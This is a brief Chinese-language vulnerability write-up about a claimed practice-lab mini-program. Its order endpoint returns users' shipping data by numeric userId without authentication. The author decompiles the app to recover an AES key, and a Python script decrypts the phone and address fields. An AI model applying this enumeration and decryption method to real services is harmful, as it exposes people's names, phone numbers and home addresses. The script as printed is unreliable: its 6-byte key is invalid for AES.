挖个洞先
https://mp.weixin.qq.com/s/4ce4lxqSnqN_WlWvDbCJiA
“ 以下漏洞均为实验靶场,如有雷同,纯属巧合 ”
01
—
漏洞证明
“ 越权返回数据为加密值,如何处理?”
1、生成订单处
2、burp抓包,通过userId获取用户收货地址信息,删除cookie和
Authorization仍然返回数据
3、替换为另一个账号的userId可越权查看收货地址,但是address收货地址,phone手机号均为加密字段
4、反编译小程序获取前端代码找到key,编写python代码解密,获取明文phone手机号,address收货地址
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64
import sys
# 密钥和初始向量
key = '123456'.encode('utf-8') # UTF-8编码的密钥
iv = b'\x00' * 16 # 16字节的0初始向量
# 从命令行接收输入
encrypted_input = sys.argv[1] if len(sys.argv) > 1 else input("请输入加密的Base64字符串:")
# Base64解码
encrypted_data = base64.b64decode(encrypted_input)
# 创建AES解密器
cipher = AES.new(key, AES.MODE_ECB)
# 解密数据
try:
decrypted_data = cipher.decrypt(encrypted_data)
# 移除Pkcs7/Pkcs5填充
decrypted_data = unpad(decrypted_data, AES.block_size)
except (ValueError, KeyError) as e:
print("解密失败:", e)
sys.exit(1)
# 输出结果
print(decrypted_data.decode('utf-8'))
02
—
漏洞危害
1、userId鉴权,纯数字可遍历,越权获取全站用户姓名,手机号,收货地址三要素明文信息